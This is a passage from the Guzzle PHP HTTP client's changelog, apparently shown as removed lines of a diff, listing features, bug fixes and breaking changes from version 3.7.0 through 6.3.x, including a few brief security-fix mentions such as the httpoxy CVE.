[#1999](https://github.com/guzzle/guzzle/pull/1999) -* Bug fix: Undefined offset when a cookie has no first key-value pair [#1998](https://github.com/guzzle/guzzle/pull/1998) -* Improvement: Support PHPUnit 6 [#1953](https://github.com/guzzle/guzzle/pull/1953) -* Bug fix: Support empty headers [#1915](https://github.com/guzzle/guzzle/pull/1915) -* Bug fix: Ignore case during header modifications [#1916](https://github.com/guzzle/guzzle/pull/1916) - -+ Minor code cleanups, documentation fixes and clarifications. - - -## 6.3.0 - 2017-06-22 - -* Feature: force IP resolution (ipv4 or ipv6) [#1608](https://github.com/guzzle/guzzle/pull/1608), [#1659](https://github.com/guzzle/guzzle/pull/1659) -* Improvement: Don't include summary in exception message when body is empty [#1621](https://github.com/guzzle/guzzle/pull/1621) -* Improvement: Handle `on_headers` option in MockHandler [#1580](https://github.com/guzzle/guzzle/pull/1580) -* Improvement: Added SUSE Linux CA path [#1609](https://github.com/guzzle/guzzle/issues/1609) -* Improvement: Use class reference for getting the name of the class instead of using hardcoded strings [#1641](https://github.com/guzzle/guzzle/pull/1641) -* Feature: Added `read_timeout` option [#1611](https://github.com/guzzle/guzzle/pull/1611) -* Bug fix: PHP 7.x fixes [#1685](https://github.com/guzzle/guzzle/pull/1685), [#1686](https://github.com/guzzle/guzzle/pull/1686), [#1811](https://github.com/guzzle/guzzle/pull/1811) -* Deprecation: BadResponseException instantiation without a response [#1642](https://github.com/guzzle/guzzle/pull/1642) -* Feature: Added NTLM auth [#1569](https://github.com/guzzle/guzzle/pull/1569) -* Feature: Track redirect HTTP status codes [#1711](https://github.com/guzzle/guzzle/pull/1711) -* Improvement: Check handler type during construction [#1745](https://github.com/guzzle/guzzle/pull/1745) -* Improvement: Always include the Content-Length if there's a body [#1721](https://github.com/guzzle/guzzle/pull/1721) -* Feature: Added convenience method to access a cookie by name [#1318](https://github.com/guzzle/guzzle/pull/1318) -* Bug fix: Fill `CURLOPT_CAPATH` and `CURLOPT_CAINFO` properly [#1684](https://github.com/guzzle/guzzle/pull/1684) -* Improvement: Use `\GuzzleHttp\Promise\rejection_for` function instead of object init [#1827](https://github.com/guzzle/guzzle/pull/1827) - - -+ Minor code cleanups, documentation fixes and clarifications. - -## 6.2.3 - 2017-02-28 - -* Fix deprecations with guzzle/psr7 version 1.4 - -## 6.2.2 - 2016-10-08 - -* Allow to pass nullable Response to delay callable -* Only add scheme when host is present -* Fix drain case where content-length is the literal string zero -* Obfuscate in-URL credentials in exceptions - -## 6.2.1 - 2016-07-18 - -* Address HTTP_PROXY security vulnerability, CVE-2016-5385: - https://httpoxy.org/ -* Fixing timeout bug with StreamHandler: - https://github.com/guzzle/guzzle/pull/1488 -* Only read up to `Content-Length` in PHP StreamHandler to avoid timeouts when - a server does not honor `Connection: close`. -* Ignore URI fragment when sending requests. - -## 6.2.0 - 2016-03-21 - -* Feature: added `GuzzleHttp\json_encode` and `GuzzleHttp\json_decode`. - https://github.com/guzzle/guzzle/pull/1389 -* Bug fix: Fix sleep calculation when waiting for delayed requests. - https://github.com/guzzle/guzzle/pull/1324 -* Feature: More flexible history containers. - https://github.com/guzzle/guzzle/pull/1373 -* Bug fix: defer sink stream opening in StreamHandler. - https://github.com/guzzle/guzzle/pull/1377 -* Bug fix: do not attempt to escape cookie values. - https://github.com/guzzle/guzzle/pull/1406 -* Feature: report original content encoding and length on decoded responses. - https://github.com/guzzle/guzzle/pull/1409 -* Bug fix: rewind seekable request bodies before dispatching to cURL. - https://github.com/guzzle/guzzle/pull/1422 -* Bug fix: provide an empty string to `http_build_query` for HHVM workaround. - https://github.com/guzzle/guzzle/pull/1367 - -## 6.1.1 - 2015-11-22 - -* Bug fix: Proxy::wrapSync() now correctly proxies to the appropriate handler - https://github.com/guzzle/guzzle/commit/911bcbc8b434adce64e223a6d1d14e9a8f63e4e4 -* Feature: HandlerStack is now more generic. - https://github.com/guzzle/guzzle/commit/f2102941331cda544745eedd97fc8fd46e1ee33e -* Bug fix: setting verify to false in the StreamHandler now disables peer - verification. https://github.com/guzzle/guzzle/issues/1256 -* Feature: Middleware now uses an exception factory, including more error - context. https://github.com/guzzle/guzzle/pull/1282 -* Feature: better support for disabled functions. - https://github.com/guzzle/guzzle/pull/1287 -* Bug fix: fixed regression where MockHandler was not using `sink`. - https://github.com/guzzle/guzzle/pull/1292 - -## 6.1.0 - 2015-09-08 - -* Feature: Added the `on_stats` request option to provide access to transfer - statistics for requests. https://github.com/guzzle/guzzle/pull/1202 -* Feature: Added the ability to persist session cookies in CookieJars. - https://github.com/guzzle/guzzle/pull/1195 -* Feature: Some compatibility updates for Google APP Engine - https://github.com/guzzle/guzzle/pull/1216 -* Feature: Added support for NO_PROXY to prevent the use of a proxy based on - a simple set of rules. https://github.com/guzzle/guzzle/pull/1197 -* Feature: Cookies can now contain square brackets. - https://github.com/guzzle/guzzle/pull/1237 -* Bug fix: Now correctly parsing `=` inside of quotes in Cookies. - https://github.com/guzzle/guzzle/pull/1232 -* Bug fix: Cusotm cURL options now correctly override curl options of the - same name. https://github.com/guzzle/guzzle/pull/1221 -* Bug fix: Content-Type header is now added when using an explicitly provided - multipart body. https://github.com/guzzle/guzzle/pull/1218 -* Bug fix: Now ignoring Set-Cookie headers that have no name. -* Bug fix: Reason phrase is no longer cast to an int in some cases in the - cURL handler. https://github.com/guzzle/guzzle/pull/1187 -* Bug fix: Remove the Authorization header when redirecting if the Host - header changes. https://github.com/guzzle/guzzle/pull/1207 -* Bug fix: Cookie path matching fixes - https://github.com/guzzle/guzzle/issues/1129 -* Bug fix: Fixing the cURL `body_as_string` setting - https://github.com/guzzle/guzzle/pull/1201 -* Bug fix: quotes are no longer stripped when parsing cookies. - https://github.com/guzzle/guzzle/issues/1172 -* Bug fix: `form_params` and `query` now always uses the `&` separator. - https://github.com/guzzle/guzzle/pull/1163 -* Bug fix: Adding a Content-Length to PHP stream wrapper requests if not set. - https://github.com/guzzle/guzzle/pull/1189 - -## 6.0.2 - 2015-07-04 - -* Fixed a memory leak in the curl handlers in which references to callbacks - were not being removed by `curl_reset`. -* Cookies are now extracted properly before redirects. -* Cookies now allow more character ranges. -* Decoded Content-Encoding responses are now modified to correctly reflect - their state if the encoding was automatically removed by a handler. This - means that the `Content-Encoding` header may be removed an the - `Content-Length` modified to reflect the message size after removing the - encoding. -* Added a more explicit error message when trying to use `form_params` and - `multipart` in the same request. -* Several fixes for HHVM support. -* Functions are now conditionally required using an additional level of - indirection to help with global Composer installations. - -## 6.0.1 - 2015-05-27 - -* Fixed a bug with serializing the `query` request option where the `&` - separator was missing. -* Added a better error message for when `body` is provided as an array. Please - use `form_params` or `multipart` instead. -* Various doc fixes. - -## 6.0.0 - 2015-05-26 - -* See the UPGRADING.md document for more information. -* Added `multipart` and `form_params` request options. -* Added `synchronous` request option. -* Added the `on_headers` request option. -* Fixed `expect` handling. -* No longer adding default middlewares in the client ctor. These need to be - present on the provided handler in order to work. -* Requests are no longer initiated when sending async requests with the - CurlMultiHandler. This prevents unexpected recursion from requests completing - while ticking the cURL loop. -* Removed the semantics of setting `default` to `true`. This is no longer - required now that the cURL loop is not ticked for async requests. -* Added request and response logging middleware. -* No longer allowing self signed certificates when using the StreamHandler. -* Ensuring that `sink` is valid if saving to a file. -* Request exceptions now include a "handler context" which provides handler - specific contextual information. -* Added `GuzzleHttp\RequestOptions` to allow request options to be applied - using constants. -* `$maxHandles` has been removed from CurlMultiHandler. -* `MultipartPostBody` is now part of the `guzzlehttp/psr7` package. - -## 5.3.0 - 2015-05-19 - -* Mock now supports `save_to` -* Marked `AbstractRequestEvent::getTransaction()` as public. -* Fixed a bug in which multiple headers using different casing would overwrite - previous headers in the associative array. -* Added `Utils::getDefaultHandler()` -* Marked `GuzzleHttp\Client::getDefaultUserAgent` as deprecated. -* URL scheme is now always lowercased. - -## 6.0.0-beta.1 - -* Requires PHP >= 5.5 -* Updated to use PSR-7 - * Requires immutable messages, which basically means an event based system - owned by a request instance is no longer possible. - * Utilizing the [Guzzle PSR-7 package](https://github.com/guzzle/psr7). - * Removed the dependency on `guzzlehttp/streams`. These stream abstractions - are available in the `guzzlehttp/psr7` package under the `GuzzleHttp\Psr7` - namespace. -* Added middleware and handler system - * Replaced the Guzzle event and subscriber system with a middleware system. - * No longer depends on RingPHP, but rather places the HTTP handlers directly - in Guzzle, operating on PSR-7 messages. - * Retry logic is now encapsulated in `GuzzleHttp\Middleware::retry`, which - means the `guzzlehttp/retry-subscriber` is now obsolete. - * Mocking responses is now handled using `GuzzleHttp\Handler\MockHandler`. -* Asynchronous responses - * No longer supports the `future` request option to send an async request. - Instead, use one of the `*Async` methods of a client (e.g., `requestAsync`, - `getAsync`, etc.). - * Utilizing `GuzzleHttp\Promise` instead of React's promise library to avoid - recursion required by chaining and forwarding react promises. See - https://github.com/guzzle/promises - * Added `requestAsync` and `sendAsync` to send request asynchronously. - * Added magic methods for `getAsync()`, `postAsync()`, etc. to send requests - asynchronously. -* Request options - * POST and form updates - * Added the `form_fields` and `form_files` request options. - * Removed the `GuzzleHttp\Post` namespace. - * The `body` request option no longer accepts an array for POST requests. - * The `exceptions` request option has been deprecated in favor of the - `http_errors` request options. - * The `save_to` request option has been deprecated in favor of `sink` request - option. -* Clients no longer accept an array of URI template string and variables for - URI variables. You will need to expand URI templates before passing them - into a client constructor or request method. -* Client methods `get()`, `post()`, `put()`, `patch()`, `options()`, etc. are - now magic methods that will send synchronous requests. -* Replaced `Utils.php` with plain functions in `functions.php`. -* Removed `GuzzleHttp\Collection`. -* Removed `GuzzleHttp\BatchResults`. Batched pool results are now returned as - an array. -* Removed `GuzzleHttp\Query`. Query string handling is now handled using an - associative array passed into the `query` request option. The query string - is serialized using PHP's `http_build_query`. If you need more control, you - can pass the query string in as a string. -* `GuzzleHttp\QueryParser` has been replaced with the - `GuzzleHttp\Psr7\parse_query`. - -## 5.2.0 - 2015-01-27 - -* Added `AppliesHeadersInterface` to make applying headers to a request based - on the body more generic and not specific to `PostBodyInterface`. -* Reduced the number of stack frames needed to send requests. -* Nested futures are now resolved in the client rather than the RequestFsm -* Finishing state transitions is now handled in the RequestFsm rather than the - RingBridge. -* Added a guard in the Pool class to not use recursion for request retries. - -## 5.1.0 - 2014-12-19 - -* Pool class no longer uses recursion when a request is intercepted. -* The size of a Pool can now be dynamically adjusted using a callback. - See https://github.com/guzzle/guzzle/pull/943. -* Setting a request option to `null` when creating a request with a client will - ensure that the option is not set. This allows you to overwrite default - request options on a per-request basis. - See https://github.com/guzzle/guzzle/pull/937. -* Added the ability to limit which protocols are allowed for redirects by - specifying a `protocols` array in the `allow_redirects` request option. -* Nested futures due to retries are now resolved when waiting for synchronous - responses. See https://github.com/guzzle/guzzle/pull/947. -* `"0"` is now an allowed URI path. See - https://github.com/guzzle/guzzle/pull/935. -* `Query` no longer typehints on the `$query` argument in the constructor, - allowing for strings and arrays. -* Exceptions thrown in the `end` event are now correctly wrapped with Guzzle - specific exceptions if necessary. - -## 5.0.3 - 2014-11-03 - -This change updates query strings so that they are treated as un-encoded values -by default where the value represents an un-encoded value to send over the -wire. A Query object then encodes the value before sending over the wire. This -means that even value query string values (e.g., ":") are url encoded. This -makes the Query class match PHP's http_build_query function. However, if you -want to send requests over the wire using valid query string characters that do -not need to be encoded, then you can provide a string to Url::setQuery() and -pass true as the second argument to specify that the query string is a raw -string that should not be parsed or encoded (unless a call to getQuery() is -subsequently made, forcing the query-string to be converted into a Query -object). - -## 5.0.2 - 2014-10-30 - -* Added a trailing `\r\n` to multipart/form-data payloads. See - https://github.com/guzzle/guzzle/pull/871 -* Added a `GuzzleHttp\Pool::send()` convenience method to match the docs. -* Status codes are now returned as integers. See - https://github.com/guzzle/guzzle/issues/881 -* No longer overwriting an existing `application/x-www-form-urlencoded` header - when sending POST requests, allowing for customized headers. See - https://github.com/guzzle/guzzle/issues/877 -* Improved path URL serialization. - - * No longer double percent-encoding characters in the path or query string if - they are already encoded. - * Now properly encoding the supplied path to a URL object, instead of only - encoding ' ' and '?'. - * Note: This has been changed in 5.0.3 to now encode query string values by - default unless the `rawString` argument is provided when setting the query - string on a URL: Now allowing many more characters to be present in the - query string without being percent encoded. See http://tools.ietf.org/html/rfc3986#appendix-A - -## 5.0.1 - 2014-10-16 - -Bugfix release. - -* Fixed an issue where connection errors still returned response object in - error and end events event though the response is unusable. This has been - corrected so that a response is not returned in the `getResponse` method of - these events if the response did not complete. https://github.com/guzzle/guzzle/issues/867 -* Fixed an issue where transfer statistics were not being populated in the - RingBridge. https://github.com/guzzle/guzzle/issues/866 - -## 5.0.0 - 2014-10-12 - -Adding support for non-blocking responses and some minor API cleanup. - -### New Features - -* Added support for non-blocking responses based on `guzzlehttp/guzzle-ring`. -* Added a public API for creating a default HTTP adapter. -* Updated the redirect plugin to be non-blocking so that redirects are sent - concurrently. Other plugins like this can now be updated to be non-blocking. -* Added a "progress" event so that you can get upload and download progress - events. -* Added `GuzzleHttp\Pool` which implements FutureInterface and transfers - requests concurrently using a capped pool size as efficiently as possible. -* Added `hasListeners()` to EmitterInterface. -* Removed `GuzzleHttp\ClientInterface::sendAll` and marked - `GuzzleHttp\Client::sendAll` as deprecated (it's still there, just not the - recommended way). - -### Breaking changes - -The breaking changes in this release are relatively minor. The biggest thing to -look out for is that request and response objects no longer implement fluent -interfaces. - -* Removed the fluent interfaces (i.e., `return $this`) from requests, - responses, `GuzzleHttp\Collection`, `GuzzleHttp\Url`, - `GuzzleHttp\Query`, `GuzzleHttp\Post\PostBody`, and - `GuzzleHttp\Cookie\SetCookie`. This blog post provides a good outline of - why I did this: http://ocramius.github.io/blog/fluent-interfaces-are-evil/. - This also makes the Guzzle message interfaces compatible with the current - PSR-7 message proposal. -* Removed "functions.php", so that Guzzle is truly PSR-4 compliant. Except - for the HTTP request functions from function.php, these functions are now - implemented in `GuzzleHttp\Utils` using camelCase. `GuzzleHttp\json_decode` - moved to `GuzzleHttp\Utils::jsonDecode`. `GuzzleHttp\get_path` moved to - `GuzzleHttp\Utils::getPath`. `GuzzleHttp\set_path` moved to - `GuzzleHttp\Utils::setPath`. `GuzzleHttp\batch` should now be - `GuzzleHttp\Pool::batch`, which returns an `objectStorage`. Using functions.php - caused problems for many users: they aren't PSR-4 compliant, require an - explicit include, and needed an if-guard to ensure that the functions are not - declared multiple times. -* Rewrote adapter layer. - * Removing all classes from `GuzzleHttp\Adapter`, these are now - implemented as callables that are stored in `GuzzleHttp\Ring\Client`. - * Removed the concept of "parallel adapters". Sending requests serially or - concurrently is now handled using a single adapter. - * Moved `GuzzleHttp\Adapter\Transaction` to `GuzzleHttp\Transaction`. The - Transaction object now exposes the request, response, and client as public - properties. The getters and setters have been removed. -* Removed the "headers" event. This event was only useful for changing the - body a response once the headers of the response were known. You can implement - a similar behavior in a number of ways. One example might be to use a - FnStream that has access to the transaction being sent. For example, when the - first byte is written, you could check if the response headers match your - expectations, and if so, change the actual stream body that is being - written to. -* Removed the `asArray` parameter from - `GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header - value as an array, then use the newly added `getHeaderAsArray()` method of - `MessageInterface`. This change makes the Guzzle interfaces compatible with - the PSR-7 interfaces. -* `GuzzleHttp\Message\MessageFactory` no longer allows subclasses to add - custom request options using double-dispatch (this was an implementation - detail). Instead, you should now provide an associative array to the - constructor which is a mapping of the request option name mapping to a - function that applies the option value to a request. -* Removed the concept of "throwImmediately" from exceptions and error events. - This control mechanism was used to stop a transfer of concurrent requests - from completing. This can now be handled by throwing the exception or by - cancelling a pool of requests or each outstanding future request individually. -* Updated to "GuzzleHttp\Streams" 3.0. - * `GuzzleHttp\Stream\StreamInterface::getContents()` no longer accepts a - `maxLen` parameter. This update makes the Guzzle streams project - compatible with the current PSR-7 proposal. - * `GuzzleHttp\Stream\Stream::__construct`, - `GuzzleHttp\Stream\Stream::factory`, and - `GuzzleHttp\Stream\Utils::create` no longer accept a size in the second - argument. They now accept an associative array of options, including the - "size" key and "metadata" key which can be used to provide custom metadata. - -## 4.2.2 - 2014-09-08 - -* Fixed a memory leak in the CurlAdapter when reusing cURL handles. -* No longer using `request_fulluri` in stream adapter proxies. -* Relative redirects are now based on the last response, not the first response. - -## 4.2.1 - 2014-08-19 - -* Ensuring that the StreamAdapter does not always add a Content-Type header -* Adding automated github releases with a phar and zip - -## 4.2.0 - 2014-08-17 - -* Now merging in default options using a case-insensitive comparison. - Closes https://github.com/guzzle/guzzle/issues/767 -* Added the ability to automatically decode `Content-Encoding` response bodies - using the `decode_content` request option. This is set to `true` by default - to decode the response body if it comes over the wire with a - `Content-Encoding`. Set this value to `false` to disable decoding the - response content, and pass a string to provide a request `Accept-Encoding` - header and turn on automatic response decoding. This feature now allows you - to pass an `Accept-Encoding` header in the headers of a request but still - disable automatic response decoding. - Closes https://github.com/guzzle/guzzle/issues/764 -* Added the ability to throw an exception immediately when transferring - requests in parallel. Closes https://github.com/guzzle/guzzle/issues/760 -* Updating guzzlehttp/streams dependency to ~2.1 -* No longer utilizing the now deprecated namespaced methods from the stream - package. - -## 4.1.8 - 2014-08-14 - -* Fixed an issue in the CurlFactory that caused setting the `stream=false` - request option to throw an exception. - See: https://github.com/guzzle/guzzle/issues/769 -* TransactionIterator now calls rewind on the inner iterator. - See: https://github.com/guzzle/guzzle/pull/765 -* You can now set the `Content-Type` header to `multipart/form-data` - when creating POST requests to force multipart bodies. - See https://github.com/guzzle/guzzle/issues/768 - -## 4.1.7 - 2014-08-07 - -* Fixed an error in the HistoryPlugin that caused the same request and response - to be logged multiple times when an HTTP protocol error occurs. -* Ensuring that cURL does not add a default Content-Type when no Content-Type - has been supplied by the user. This prevents the adapter layer from modifying - the request that is sent over the wire after any listeners may have already - put the request in a desired state (e.g., signed the request). -* Throwing an exception when you attempt to send requests that have the - "stream" set to true in parallel using the MultiAdapter. -* Only calling curl_multi_select when there are active cURL handles. This was - previously changed and caused performance problems on some systems due to PHP - always selecting until the maximum select timeout. -* Fixed a bug where multipart/form-data POST fields were not correctly - aggregated (e.g., values with "&"). - -## 4.1.6 - 2014-08-03 - -* Added helper methods to make it easier to represent messages as strings, - including getting the start line and getting headers as a string. - -## 4.1.5 - 2014-08-02 - -* Automatically retrying cURL "Connection died, retrying a fresh connect" - errors when possible. -* cURL implementation cleanup -* Allowing multiple event subscriber listeners to be registered per event by - passing an array of arrays of listener configuration. - -## 4.1.4 - 2014-07-22 - -* Fixed a bug that caused multi-part POST requests with more than one field to - serialize incorrectly. -* Paths can now be set to "0" -* `ResponseInterface::xml` now accepts a `libxml_options` option and added a - missing default argument that was required when parsing XML response bodies. -* A `save_to` stream is now created lazily, which means that files are not - created on disk unless a request succeeds. - -## 4.1.3 - 2014-07-15 - -* Various fixes to multipart/form-data POST uploads -* Wrapping function.php in an if-statement to ensure Guzzle can be used - globally and in a Composer install -* Fixed an issue with generating and merging in events to an event array -* POST headers are only applied before sending a request to allow you to change - the query aggregator used before uploading -* Added much more robust query string parsing -* Fixed various parsing and normalization issues with URLs -* Fixing an issue where multi-valued headers were not being utilized correctly - in the StreamAdapter - -## 4.1.2 - 2014-06-18 - -* Added support for sending payloads with GET requests - -## 4.1.1 - 2014-06-08 - -* Fixed an issue related to using custom message factory options in subclasses -* Fixed an issue with nested form fields in a multi-part POST -* Fixed an issue with using the `json` request option for POST requests -* Added `ToArrayInterface` to `GuzzleHttp\Cookie\CookieJar` - -## 4.1.0 - 2014-05-27 - -* Added a `json` request option to easily serialize JSON payloads. -* Added a `GuzzleHttp\json_decode()` wrapper to safely parse JSON. -* Added `setPort()` and `getPort()` to `GuzzleHttp\Message\RequestInterface`. -* Added the ability to provide an emitter to a client in the client constructor. -* Added the ability to persist a cookie session using $_SESSION. -* Added a trait that can be used to add event listeners to an iterator. -* Removed request method constants from RequestInterface. -* Fixed warning when invalid request start-lines are received. -* Updated MessageFactory to work with custom request option methods. -* Updated cacert bundle to latest build. - -4.0.2 (2014-04-16) ------------------- - -* Proxy requests using the StreamAdapter now properly use request_fulluri (#632) -* Added the ability to set scalars as POST fields (#628) - -## 4.0.1 - 2014-04-04 - -* The HTTP status code of a response is now set as the exception code of - RequestException objects. -* 303 redirects will now correctly switch from POST to GET requests. -* The default parallel adapter of a client now correctly uses the MultiAdapter. -* HasDataTrait now initializes the internal data array as an empty array so - that the toArray() method always returns an array. - -## 4.0.0 - 2014-03-29 - -* For more information on the 4.0 transition, see: - http://mtdowling.com/blog/2014/03/15/guzzle-4-rc/ -* For information on changes and upgrading, see: - https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 -* Added `GuzzleHttp\batch()` as a convenience function for sending requests in - parallel without needing to write asynchronous code. -* Restructured how events are added to `GuzzleHttp\ClientInterface::sendAll()`. - You can now pass a callable or an array of associative arrays where each - associative array contains the "fn", "priority", and "once" keys. - -## 4.0.0.rc-2 - 2014-03-25 - -* Removed `getConfig()` and `setConfig()` from clients to avoid confusion - around whether things like base_url, message_factory, etc. should be able to - be retrieved or modified. -* Added `getDefaultOption()` and `setDefaultOption()` to ClientInterface -* functions.php functions were renamed using snake_case to match PHP idioms -* Added support for `HTTP_PROXY`, `HTTPS_PROXY`, and - `GUZZLE_CURL_SELECT_TIMEOUT` environment variables -* Added the ability to specify custom `sendAll()` event priorities -* Added the ability to specify custom stream context options to the stream - adapter. -* Added a functions.php function for `get_path()` and `set_path()` -* CurlAdapter and MultiAdapter now use a callable to generate curl resources -* MockAdapter now properly reads a body and emits a `headers` event -* Updated Url class to check if a scheme and host are set before adding ":" - and "//". This allows empty Url (e.g., "") to be serialized as "". -* Parsing invalid XML no longer emits warnings -* Curl classes now properly throw AdapterExceptions -* Various performance optimizations -* Streams are created with the faster `Stream\create()` function -* Marked deprecation_proxy() as internal -* Test server is now a collection of static methods on a class - -## 4.0.0-rc.1 - 2014-03-15 - -* See https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 - -## 3.8.1 - 2014-01-28 - -* Bug: Always using GET requests when redirecting from a 303 response -* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in - `Guzzle\Http\ClientInterface::setSslVerification()` -* Bug: RedirectPlugin now uses strict RFC 3986 compliance when combining a base URL with a relative URL -* Bug: The body of a request can now be set to `"0"` -* Sending PHP stream requests no longer forces `HTTP/1.0` -* Adding more information to ExceptionCollection exceptions so that users have more context, including a stack trace of - each sub-exception -* Updated the `$ref` attribute in service descriptions to merge over any existing parameters of a schema (rather than - clobbering everything). -* Merging URLs will now use the query string object from the relative URL (thus allowing custom query aggregators) -* Query strings are now parsed in a way that they do no convert empty keys with no value to have a dangling `=`. - For example `foo&bar=baz` is now correctly parsed and recognized as `foo&bar=baz` rather than `foo=&bar=baz`. -* Now properly escaping the regular expression delimiter when matching Cookie domains. -* Network access is now disabled when loading XML documents - -## 3.8.0 - 2013-12-05 - -* Added the ability to define a POST name for a file -* JSON response parsing now properly walks additionalProperties -* cURL error code 18 is now retried automatically in the BackoffPlugin -* Fixed a cURL error when URLs contain fragments -* Fixed an issue in the BackoffPlugin retry event where it was trying to access all exceptions as if they were - CurlExceptions -* CURLOPT_PROGRESS function fix for PHP 5.5 (69fcc1e) -* Added the ability for Guzzle to work with older versions of cURL that do not support `CURLOPT_TIMEOUT_MS` -* Fixed a bug that was encountered when parsing empty header parameters -* UriTemplate now has a `setRegex()` method to match the docs -* The `debug` request parameter now checks if it is truthy rather than if it exists -* Setting the `debug` request parameter to true shows verbose cURL output instead of using the LogPlugin -* Added the ability to combine URLs using strict RFC 3986 compliance -* Command objects can now return the validation errors encountered by the command -* Various fixes to cache revalidation (#437 and 29797e5) -* Various fixes to the AsyncPlugin -* Cleaned up build scripts - -## 3.7.4 - 2013-10-02 - -* Bug fix: 0 is now an allowed value in a description parameter that has a default value (#430) -* Bug fix: SchemaFormatter now returns an integer when formatting to a Unix timestamp - (see https://github.com/aws/aws-sdk-php/issues/147) -* Bug fix: Cleaned up and fixed URL dot segment removal to properly resolve internal dots -* Minimum PHP version is now properly specified as 5.3.3 (up from 5.3.2) (#420) -* Updated the bundled cacert.pem (#419) -* OauthPlugin now supports adding authentication to headers or query string (#425) - -## 3.7.3 - 2013-09-08 - -* Added the ability to get the exception associated with a request/command when using `MultiTransferException` and - `CommandTransferException`. -* Setting `additionalParameters` of a response to false is now honored when parsing responses with a service description -* Schemas are only injected into response models when explicitly configured. -* No longer guessing Content-Type based on the path of a request. Content-Type is now only guessed based on the path of - an EntityBody. -* Bug fix: ChunkedIterator can now properly chunk a \Traversable as well as an \Iterator. -* Bug fix: FilterIterator now relies on `\Iterator` instead of `\Traversable`. -* Bug fix: Gracefully handling malformed responses in RequestMediator::writeResponseBody() -* Bug fix: Replaced call to canCache with canCacheRequest in the CallbackCanCacheStrategy of the CachePlugin -* Bug fix: Visiting XML attributes first before visiting XML children when serializing requests -* Bug fix: Properly parsing headers that contain commas contained in quotes -* Bug fix: mimetype guessing based on a filename is now case-insensitive - -## 3.7.2 - 2013-08-02 - -* Bug fix: Properly URL encoding paths when using the PHP-only version of the UriTemplate expander - See https://github.com/guzzle/guzzle/issues/371 -* Bug fix: Cookie domains are now matched correctly according to RFC 6265 - See https://github.com/guzzle/guzzle/issues/377 -* Bug fix: GET parameters are now used when calculating an OAuth signature -* Bug fix: Fixed an issue with cache revalidation where the If-None-Match header was being double quoted -* `Guzzle\Common\AbstractHasDispatcher::dispatch()` now returns the event that was dispatched -* `Guzzle\Http\QueryString::factory()` now guesses the most appropriate query aggregator to used based on the input. - See https://github.com/guzzle/guzzle/issues/379 -* Added a way to add custom domain objects to service description parsing using the `operation.parse_class` event. See - https://github.com/guzzle/guzzle/pull/380 -* cURL multi cleanup and optimizations - -## 3.7.1 - 2013-07-05 - -* Bug fix: Setting default options on a client now works -* Bug fix: Setting options on HEAD requests now works. See #352 -* Bug fix: Moving stream factory before send event to before building the stream. See #353 -* Bug fix: Cookies no longer match on IP addresses per RFC 6265 -* Bug fix: Correctly parsing header parameters that are in `<>` and quotes -* Added `cert` and `ssl_key` as request options -* `Host` header can now diverge from the host part of a URL if the header is set manually -* `Guzzle\Service\Command\LocationVisitor\Request\XmlVisitor` was rewritten to change from using SimpleXML to XMLWriter -* OAuth parameters are only added via the plugin if they aren't already set -* Exceptions are now thrown when a URL cannot be parsed -* Returning `false` if `Guzzle\Http\EntityBody::getContentMd5()` fails -* Not setting a `Content-MD5` on a command if calculating the Content-MD5 fails via the CommandContentMd5Plugin - -## 3.7.0 - 2013-06-10 - -* See UPGRADING.md for more information on how to upgrade. -* Requests now support the ability to specify an array of $options when creating a request to more easily modify a - request. You can pass a 'request.options' configuration setting to a client to apply default request options to - every request created by a client (e.g. default query string variables, headers, curl options, etc.). -* Added a static facade class that allows you to use Guzzle with static methods and mount the class to `\Guzzle`. - See `Guzzle\Http\StaticClient::mount`. -* Added `command.request_options` to `Guzzle\Service\Command\AbstractCommand` to pass request options to requests - created by a command (e.g. custom headers, query string variables, timeout settings, etc.). -* Stream size in `Guzzle\Stream\PhpStreamRequestFactory` will now be set if Content-Length is returned in the - headers of a response -* Added `Guzzle\Common\Collection::setPath($path, $value)` to set a value into an array using a nested key - (e.g. `$collection->setPath('foo/baz/bar', 'test'); echo $collection['foo']['bar']['bar'];`) -* ServiceBuilders now support storing and retrieving arbitrary data -* CachePlugin can now purge all resources for a given URI -* CachePlugin can automatically purge matching cached items when a non-idempotent request is sent to a resource -* CachePlugin now uses the Vary header to determine if a resource is a cache hit -* `Guzzle\Http\Message\Response` now implements `\Serializable` -* Added `Guzzle\Cache\CacheAdapterFactory::fromCache()` to more easily create cache adapters -* `Guzzle\Service\ClientInterface::execute()` now accepts an array, single command, or Traversable -* Fixed a bug in `Guzzle\Http\Message\Header\Link::addLink()` -* Better handling of calculating the size of a stream in `Guzzle\Stream\Stream` using fstat() and caching the size -* `Guzzle\Common\Exception\ExceptionCollection` now creates a more readable exception message -* Fixing BC break: Added back the MonologLogAdapter implementation rather than extending from PsrLog so that older - Symfony users can still use the old version of Monolog. -* Fixing BC break: Added the implementation back in for `Guzzle\Http\Message\AbstractMessage::getTokenizedHeader()`. - Now triggering an E_USER_DEPRECATED warning when used. Use `$message->getHeader()->parseParams()`. -* Several performance improvements to `Guzzle\Common\Collection` -* Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: - createRequest, head, delete, put, patch, post, options, prepareRequest -* Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` -* Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` -* Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to - `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a - resource, string, or EntityBody into the $options parameter to specify the download location of the response. -* Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a - default `array()` -* Added `Guzzle\Stream\StreamInterface::isRepeatable` -* Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use - $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or - $client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))`. -* Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use $client->getConfig()->getPath('request.options/headers')`. -* Removed `Guzzle\Http\ClientInterface::expandTemplate()` -* Removed `Guzzle\Http\ClientInterface::setRequestFactory()` -* Removed `Guzzle\Http\ClientInterface::getCurlMulti()` -* Removed `Guzzle\Http\Message\RequestInterface::canCache` -* Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect` -* Removed `Guzzle\Http\Message\RequestInterface::isRedirect` -* Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. -* You can now enable 